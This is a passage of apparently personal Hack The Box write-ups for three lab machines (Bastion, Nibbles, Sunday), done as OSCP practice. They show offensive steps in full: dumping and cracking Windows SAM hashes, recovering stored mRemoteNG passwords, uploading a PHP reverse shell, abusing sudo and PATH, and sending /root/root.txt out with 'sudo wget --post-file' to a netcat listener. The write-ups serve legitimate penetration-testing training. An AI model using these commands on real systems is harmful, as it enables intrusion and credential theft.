|_http-title: Not Found
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
49669/tcp open msrpc Microsoft Windows RPC
49670/tcp open msrpc Microsoft Windows RPC

2 ports with HTTPAPI on. I’m not entirely sure what they are. A quick google lets me know that:

SSDP is Simple Service Discovery Protocol which advertises and looks for network services. This controls communication for the Universal Plug and Play feature (uPnP).

This now rings a bell, was there not the printer and chromecast thing supporting pewdiepie. Looks pretty similar: https://www.bleepingcomputer.com/news/security/hacker-streaming-pewdiepie-videos-on-exposed-chromecast-devices/

So, this might well be our way in. A quick searchsploit shows a few vulnerabilities for UPnP:

So there are a few Buffer Overflows for Windows, but these are 98/XP/ME and we know that our target is running Windows Server 2016, so no dice there.

A quick check that there isn’t a webpage associated with the ports, reveals both get a 404 error, so that’s no good!

Right. The question is, what do we have and where do we go from here.

My first though, before the full port scan was looking at the SMB share to see if there is anything there. Let’s give that a go.

So let’s fire up smbclient and see what we can find, first let’s try and use an anonymous user to get the shares:

smbclient -L -U anonymous


We have success! We know the sharenames. Let’s see if we can connect into any of them. Our command for that is:

smbclient //$ -U anonymous

smbclient //$ -U anonymous

Both Permission Denied.

smbclient // -U anonymous

Hooray! We are logged into the backups folder as an anonymous user.

A quick look around, we have a note.txt and an nmap-test-file, a couple of directories, but these are empty.  There is also a .tmp file.

So we use the “get” command to bring those back to our machine.

get nmap-test-file

get note.txt

So these are now locally on our host. Stupidly, I did this while in the /tools/enum4linux directory, so that is where they saved. I found them using:

find note.txt . | grep note.txt

Moved them back into the right directory.

Looking at the note.txt file first:

Interesting, so they use a VPN and there is some sort of backup. There is the folder WindowsImageBackup, let’s grab that.

The other file is empty.

Let’s see what really is in here, entering the recurse in the smb window lets us list all files, going through folders.

So there are a whole bunch of .xml files. Let’s see if we can grab all of those. Because of dash in the PC name, I can’t seem to recursively download everything, so I’ll have to do it file by file.

The XML files look to be configs, probably for the backup software. The .vhd files are the actual backups on the file structure.

Now, I think this is where the note comes in. It states don’t transfer the entire back up locally as the VPN issue. This isn’t them using a VPN, this is a message to us, the HTB VPN can’t cope with that sort of traffic. As a check we give it a go and we get a timeout. Not unexpected!

So, we either need to host it somewhere (a webserver) or mount and read it on the host pc.

So, this is now the tricky part. We know what we need. Those backups. The question is how do we get them? We have high ports open, let’s go back to the fact that both port 5985 and 47001 are httpapi ports. This now seems sensible to be our exfil point!

At this point, I had a quick look at the forum and it appears mounting it via the SMBshare is a better method. So let’s explore that.

So there are 2 commands in Windows to mount a VHD.

Via CMD:

select vdisk file="\WindowsImageBackup\L4mpje-PC\Backup 2019-02-22 124351\9b9cfbc3-369e-11e9-a17c-806e6f6e6963.vhd"

or Via Powershell:

Mount-VHD -Path "\WindowsImageBackup\L4mpje-PC\Backup 2019-02-22 124351\9b9cfbc3-369e-11e9-a17c-806e6f6e6963.vhd"

Quite reasonably, neither of these work over smbclient. As we are using SMB shares, I might be able to mount them in windows? Let’s spin up a Windows 10 VM and see if that helps! (My host machine is Windows 10, but I really don’t want to connect into HTB on my host machine!)

Ok, a windows10 VM is spun up. VPN connected and look here, we have the SMB share:

So, using the powershell we learnt earlier. Let’s try this out!

Not a great start, this is due to hyper-v and that fact I’m on VMware.

Can we use the built in “mount” function? After a lot of back and forth, I found out you can’t if you map the drive (to z:\ for example). So I try without the UNC path \\\Backups\WindowsImageBackup\L4mpje-PC\Backup 2019-02-22 124351

Click Mount and….

Sigh! So that would probably work, if it wasn’t a heavily used platform!

So let’s go back to Linux. The first thing we need to work out, is how to mount the SMB share, so that we can navigate to it. After some googling I managed to find this blog: https://www.shellhacks.com/mount-remote-windows-partition-share-linux/ which helped me out.

Firstly, we created a folder for the share to be connected to on our Linux box:

mkdir Share

Also downloaded and installed the cifs toolset which allows for this connection:

apt-get install cifs-utils

The next part is running the command:

mount -t cifs // /home/Yekki/Documents/htb/Bastion/Share/ -o dom=DOMAIN,user=anonymous,pass=Hello

A quick look in the share and doesn’t this look familiar:

So we can now go through and the VHD files are there.

Now we just need to work out how to mount the VHD so we can also explore that.

There is a set of tools called libvhdi which I found in this video: https://www.youtube.com/watch?v=inxoqsH9TxI

Once the tools are installed, we can try the commands:

vhdimount 9b9cfbc4-369e-11e9-a17c-806e6f6e6963.vhd /home/Yekki/Documents/htb/Bastion/Mount/

The command worked. But the permissions on the mount are very odd:

If we sudo su up to root. We are able to go into the Mount file, and we see vhdi1 as a file. We can’t directly interact with this file yet, as it hasn’t been mounted on our system.

To be able to mount and use this file, we need to calculate the offset of the mount.

First we need tp look at the partition data of the file, using:

mmls -aB vhdi1

This gives us a result of:

So the units are in 512-byte sectors.

To do the calculation we need to obtain the bc package which is a arbitrary precision calculator language.

apt-get install bc

We can then use this which is the last digits in the Start column, so for our case it’s 128. Then also using the units which we saw earlier is in 512-byte sectors.

echo 128*512 | bc

This results in 65536. This is the offset level for where the data starts.

The follow command should mount the vhd file for us to be able to explore:

mount -o ro,noload,offset=65536 vhdi1 /home/Yekki/Documents/htb/Bastion/Mount/

After waiting for a verrrry long time….

We can see that the directory is now searchable!

Lets have a look around and see if we can find a user flag.

So if this is a backup, the flag should be in Users/L4mpje

Nope. Nothing in there.

Let’s go a grep on the entire Mount to see if there is anything there:

grep -iR user.txt .

No flag. There is another step to this!

So if we remember our nmap scan from earlier, port 22 is open. So I wonder if there is an SSH password we need to get.

Windows stores it’s NTLM hashes under something called SAM the Security Account Manager. This tends to be located in Windows/System32/config

Normally you can’t open or copy this file, as it is always being used by System. However as this is a backup, not a live system. We might get lucky. So let’s head over there:

cd /Windows/System32/config

Ah there is a SAM, SECURITY and SYSTEM file. We will need all of these. I copied these across to my host machine, that way if the box gets reset is doesn’t affect the next stages.

To get anything useful from these, we need to dump it out.

There is an excellent set of tools called impacket available from here: https://github.com/SecureAuthCorp/impacket

Within that set of tools they have secretsdump.py which is what we will use. Installing impacket is easy, clone to repository then when in the folder run:

pip install .

The python script is then under impacket/examples/secretsdump.py

Running the script with the 3 variables:

./secretsdump.py -sam /home/Yekki/Documents/htb/Bastion/SAM -security /home/Yekki/Documents/htb/Bastion/SECURITY -system /home/Yekki/Documents/htb/Bastion/SYSTEM local

Give us this result:

We have the hash. Let’s run this through hashcat which has a built in NTLM hash option.

Firstly, we take out the part of the hash that we need, which is after the 3rd colon. Starting with 2611 for the L4mpje user. This is due to the the format of the NTLM hash. We have:


User:relative identifier:    LM Hash:                                        NT Hash:

Hashcat requires just the NT hash. So we copy that into a new text file.

echo "26112010952d963c8dc4217daec986d9" > L4mpje-hash.txt

Looking at hashcat, NTLM hashes are hash mode 1000 (https://hashcat.net/wiki/doku.php?id=hashcat) We want to set the attack mode as 0 (straight) and output the file.

hashcat -m 1000 -a 0 -o password.txt L4mpje-hash.txt /usr/share/wordlists/rockyou.txt --force

We had to use the –force option as I’m doing this cracking in a VM rather than with dedicated graphics cards.

If we cat the output file we get:

There is the password. You will notice that Impacket also output the password, but I wanted to go through hashcat just to double check (and learn).

So now I guess we can use this to ssh into the box.

Success. Now, as this is the live box, we can go have another look at the User share and see if there is a flag this time.

There it is! Now just to remember how to read a file from cmd.


Now, let’s head onto root and see what we can do!

Having an initial look around the system, there are a couple of programs we can investigate. In Program Files:

We have PackageManagement which is a set of cmdlets from Windows. Seems unlikely to be our route in. The other is OpenSSH but this will be to allow our SSH session onto the box.

Heading over the Program Files (x86) we get:

I’m not sure what mRemoteNG is, but looks like it could be interesting. A quick google tells me that it’s a remote connections manager allowing for a range of different connections. A quick searchsploit brings up nothing but a google search brings back some results:

Yeah I think we are in the right place here! It looks like the “bug” was fixed in v1.76. Let’s see if we can find out the version installed. There is a changelog file, the latest entry is, v1.76.10.

So it looks like exploits aren’t the same way. Let’s see if there is password leakage anywhere.

Looking at the application, there is another config file stored in:


If we read the config file we get a whole heap of info. But what we really need is this part:

The protocol is RDP on port 3389. However port 3389 isn’t open as we found out on our nmap scan earlier, so that’s a no go.

This password also looks a lot like a hash. It’s not base64 as it has a “/” in it. A quick google of getting password from the mRemoteNG brings up a bunch of results. This was most useful: https://robszar.wordpress.com/2012/08/07/view-mremote-passwords-4/

We can create a External Tool within the program which does:

/k echo %password%

This will then decrypt and print out the password in plain text. After wondering how I could do this from just an ssh shell, I realised that it wasn’t really an option. So instead, lets download the program and see if we can get that config file out to our local Windows VM.

I went and downloaded and installed the program from the offical github: https://github.com/mRemoteNG/mRemoteNG

After installing the program, I went about exfilling the data. I tried to copy & paste from a type. However all the spacing was wrong and was just a terrible idea all round. It then took me a while to think of what to do. If this was linux, i’d do a SimpleHTTPServer, but no good. Then I remembered how I got the data out originally, the SMB share. Obviously! Once I realised, I felt like a right wally, anyway!

So first off I used copy:

copy confCons.xml C:\Backups

Then I went back and used smbclient

smbclient // -U anonymous

get confCons.xml

Then to leave as few spoliers as possible, I went back to my ssh sessions:

del C:\Backups\confCons.xml

Always try to tidy up after yourself, otherwise you are ruining it for other users! Especially as the SMB is at the start of the box!

On my VM I copy the file into the same place APPDATA/Roaming/mRemoteNG

Open up the software

Both users are there. We know from the config the DC uses administrator so this is the one we are interested in.

First though, we need to create the external tool. In MRemoteNG go to “Tools” -> “External Tools”

Click New and fill in the details:

Going back to our connections, lets try the L4mpje-PC user and see if that password matches the one we got earlier:

It does, brilliant. So we know the theory here works! Let’s get the admin password!

Lets try to ssh in with those creds. Success!

Heading over to Desktop, we see the root flag there!

And there is the root flag!

I really enjoyed this box, it used skills that I had but going through the process and writing it up really helped me embed that knowledge. Getting the user password was really interesting and totally real life which I enjoyed, I can see that being used on tests in the future.

The root was also good, nice to not rely on an exploit but dig deep and enumerate until you find each of the interesting parts!

HTB – Nibbles

Here we go, another box in prep for OSCP!

We are going to do Nibbles. I have previously got user on this box but I don’t remember how; I never managed to get root previously. So let’s have a go!

nmap -Pn -oA nmap/initial -vv

We have 2 ports:

  • 22 – SSH
  • 80 – HTTP

Let’s get a full nmap running and go check out the webserver.

sudo nmap -Pn -p- -oA nmap/full -vv

The webserver has a simple page, it just states “Hello World”. Looking at the page source though, we get something a bit more exciting!

Shall we go and check out nibbleblog!

There is a basic website.

If we go to /admin/ we get a directory listing:

Before we look through all of those, let’s do a searchsploit and see if we get anything.

There is an arbitrary file upload. We like those! Let’s take a look at the code!

searchsploit -x 38489

It does a whole bunch of stuff but does ask for the username and password. Let’s spin up msfconsole and see if we get anything.

Creds are needed, so this is out for the moment!

Let’s get a gobuster running and see what else we have in here.

gobuster dir -u -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50

We get some early hits! Including:

  • content
  • themes
  • admin
  • plugins
  • languages

Let’s bounce through these while gobuster continues to run.

The README gives away the version which is v4.0.3 released in 2014! I feel it’s going to be vulnerable to stuffs!

Having a look through the other folders there is some stuff.

Let’s run another gobuster to search for pages as well as directories:

gobuster dir -u -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50 -x .php,.html,.txt,.bak

We get some more hits! Including:

  • feed.php
  • sitemap.php
  • admin.php
  • index.php
  • install.php
  • update.php

Let’s go check some of those out!

Most are nothing interesting, but we find a goodun with admin.php

Login area!

Trying some defaults like admin/administrator with password; admin; nibble;Nibble;Nibbles;nibbles;nibbleblog;Nibbleblog

Eeek, half way through trying them:

That means trying any sort of bruteforcing is a waste of time!

I guess I gotta wait this out!

Enumeration is going to be the key here. Looking through all the files we have access to, to find the one we want!

Looking for a default username and password we don’t find much, looks like the user sets this on install!

This doesn’t help!

I’ve downloaded and grepped through all the files I can, without any luck.

Maybe it’s something simple. Other usernames? nibbleblog or nibble.

Let’s try those.

Urgh, blacklist protection is boring!

Let’s stick my list of usernames and passwords into Burp and see if we can slowly brute force this!

Changing the attack method to clusterbomb and upped the pause before retry to 15 seconds. Hopefully slow enough to keep going!

It was not. We kept getting blacklisted. So dull!

I think we need to prioritise what we try:

  • admin:nibbleblog
  • administrator:nibbleblog
  • admin:nibbles
  • administrator:nibbles
  • nibbleblog:nibbleblog
  • nibbleblog:password
  • admin:password
  • administrator:password

Let’s do these in that order, and see where we get to!

So we started and on the 3rd we got there!

The username was admin with the name of the box as the password.

That was convoluted and I remember it being a PITA the last time. I really thought both times it would be hidden in some javascript or something.

Never mind. We are now in!

If we remember earlier, we had a file upload available if we had creds!

So the exploit is in file upload under a image plugin. When we upload a file, it should appear here:

We just need to find the plugin and get uploading (ignoring any errors)

Finding the my image plugin in the plugins page and clicking it brings us to here:

Let’s get pentestmonkeys php reverse shell script and see if we can upload that!

We upload the file and get a whole heap of errors

Get a nc listener running on port 1234 (which we specified in the script)

and we visit the above URL.

We get a callback!

We upgrade to a bash shell using python

python -m 'import pty;pty.spawn("/bin/bash")'

Oooh, python isn’t installed. Let’s try with python3

It doesn’t work with python3, I thought it did.

Never mind, we can work with a restricted shell for the moment.

A quick search and we get the user flag! (That I previously got, so no huge air punches here!)

What you’ll also notice is there is an interesting file there. personal and a pesonal.zip

Let’s take a look at the directory first.

A couple of directories deep we get a script called monitor.sh. It contains:

bash -i

Running it brings back an error:

bash: cannot set terminal process group (1309): Inappropriate ioctl for device
bash: no job control in this shell

Doing it on my hostmachine, doesn’t do anything!

I recreated it on my kali machine and running it doesn’t do anything. Adding commands afterwards, doesn’t seem to do anything.


Let’s park that and go have a look at the zip file!

I used nc to move it across to my kali host.

nc -nvlp 9009 > personal.zip

nc 9009 < personal.zip

Unzipping the file, we then take a look at the script.

Interesting, it’s different, very different!

Let’s go through other main enumeration steps. First things first:

sudo -l



So we can sudo that file.

If we try that:

sudo /home/nibbler/personal/stuff/monitor.sh

So, we get a root shell and are able to read the root shell.

I’m a mix of all 4 emotions! I got a root shell and root flag, but slightly cross as I don’t think I should have been able to!

Now. I think someone else has been on this box and changed that monitor script.

Let’s do a reset of the box and see what those files contain after a fresh build!

The home directory has a zip file in it!

So we know we can do the sudo. A quick check confirms that’s true.

First we create the folder structure:

mkdir -p personal/stuff

This creates both directories at the same time.

Then create a file, I created mine in nano on my machine as vi is a vile thing!

What I’ve gone for it a reverse shell

nc 9009

Then copy that across using nc.

Set up a nc listener on port 9009 and run the script using sudo.

Didn’t work!

My next go would be to change the monitor script to be a single word.


This is the same theory as bash -i just less typing.

That time it worked! Excellent. Not sure why the nc command didn’t work but anyway. We got there!



HTB – Sunday

Wooo, here we go. Ready for another rollercoaster adventure on HTB from TjNull’s OSCP prep guide! 

It’s Sunday (it’s actually Thursday) so no-one is going to be confused!

Let’s go

sudo nmap -Pn -oA nmap/initial -vv

We have some abnormal ports open:

  • 79 – Finger
  • 111 – sunrpc

I think we need a more in depth nmap scan straight off the bat!

sudo nmap -sC -sV -O -p 79,111 -oA nmap/fuller -vv

We get some more detailed results out.

So this is a solaris box.

There is a built in linux command called finger which can give us some information.

finger -l root@

(Also, watch me take the high group and not make a bunch of finger(ing) jokes!)

So we gave the box a good hard finger(ing).  (Dammit!)

With that idea, we can make a little bruteforcer using finger. To loop through all users in the wfuzz names.txt file

cat /usr/share/wordlists/wfuzz/others/names.txt | while read line; do finger -l $line@; done

This loops through and prints the output on screen!

We have some success through our fingering.

This is pretty boring, as it’s printing out each line and taking fucking ages! It’s a big wordlist!

Why don’t we throw it into a file and leave it going in the background!

I’m sure there is a better username enumerator out there, but I like making small loops with bash. It comes in useful really often!

I had a quick google and pentestmonkey has a username enumerator.

Downloading that and running it with the command:

perl finger-user-enum-1.0/finger-user-enum.pl -t -U /usr/share/wordlists/wfuzz/others/names.txt

After that runs for a while we get some results.

There is also a metasploit module which gives much cleaner output:

use auxiliary/scanner/finger/finger_users

I’ve set the wordlist to be rockyou-75 from SecLists as the username file wasn’t getting me very far.

A lot of prodding and different wordlists went into this.

A full nmap scan was also done, with no results.

However, after a while, we got some results.

So we now have some users, if we go back to our main finger command:

We get some results. These users have logged in previously and have main directories.

So now that we have users. What can we do?

I have literally no idea.

I realised earlier my full port nmap was done against the wrong IP, I did .78 rather than .76, so let’s re-run that as having rpcbind would indicate there might be something running on a high port.

Our nmap bought back a goodie, hidden high in the heights of port numbers!

Interesting, smserverd. A google search brings back very limited results again. Not sure this is our path!

(The all ports nmap scan is only 20% of the way through, so we might get some more ports! At least, I hope we get more ports, otherwise I am totally stuck!)

There is another port, 22022 is open!

Trying to connect we get an error for both Sunny and Sammy:

Unable to negotiate with port 22022: no matching key exchange method found. Their offer: gss-group1-sha1-toWM5Slw5Ew8Mqkay+al2g==,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1

A quick google shows that this is an old key exchange algorithm so we need to force ssh to use one of those. We can do that with:

ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 sunny@ -p 22022

We get prompted for a password. Shit, we haven’t found a password yet.

We try some basics, so sunny & sammy as these are the information we have found. No dice.

My colleague yells over the office “try Sunday”.

He is a smart guy!

We use find to locate the flag

find / -name user.txt

It’s there!

A quick cat and we get: permission denied!

It’s in sammy and we are sunny. Bollocks!

Can we sudo across to sammy?

Sudo -l


WTF is that!

So we can run that, let’s give it a go:

sudo /root/troll

We get a result:

uid=0(root) gid=0(root)

Ok, not sure what’s that doing, it looks like it’s running the command ID though.

Let’s create a executable called ID in it with the single command sh.

This if triggered will give us a shell, at root level.

Once that file is created, we need to edit the paths, so that the command will go to ours first (assuming the script using “id” not the full path “/usr/gnu/bin/id”)

To do that we use the command:

export PATH=/export/home/sunny:/usr/gnu/bin:/usr/bin:/usr/X11/bin:/usr/sbin:/sbin

Then let’s run the troll file again.


Doing the same idea with cat and echo, just in case the script is using those. Same result!

Really, we need to know what the script is doing.

I tried to get 32 and 64 versions of pspy over and neither would run, so that’s out! It looks like watching processes on a Solarius box is quite tricky!

So, let’s leave this troll and see what else there is.

We had a look around and my boss ended up cheating a bit and looking up some spoilers.

Under / there is a folder that isn’t normally there.

That’s right, at the top, backup.

In there is a shadow.backup file with sammy and sunny’s hashes in them!

sunny@sunday:/backup$ cat shadow.backup 

Let’s do some hashcatting. The hash starts with the $5$ which would indiciate the encryption method. I can’t seem to find much for $5$ especially for hashcat or decrypting this.

I am once again. Stuck!

A quick bit of reading let me know not to bother using hashcat but instead to use john. The syntax is far too simple, not sure how it works.

john hashes.hash --wordlist=/usr/share/wordlists/rockyou.txt

john is obviously the cracker johntheripper. I’m amazed I didn’t have to tell it anymore details or flags. It just did it!

That’s a useful super easy command to remember for if I come across shadow files again!

And with that: user!


Ok, now let’s see what we can do with sammy!

Again, we take a look at sudo and this time we get:

sunny@sunday:/backup$ sudo -l
User sammy may run the following commands on this host:
(root) NOPASSWD: /usr/bin/wget

So we can wget a file!

A google of wget priv esc shows a method that can be used. This allows files to be “posted” used wget.

The syntax for this is:

sudo /usr/bin/wget --post-file=/root/root.txt

This will post the contents of the file to our listener, so we set one up to save it into a file

nc -nvlp 9009 > root.txt

The request comes in and we cat the file.

Success, we have a root flag!

That was a very easy priv esc and another great trick to know how to do!

However the initial shell and finding a file in the main / directory were a huge pain!

So in summary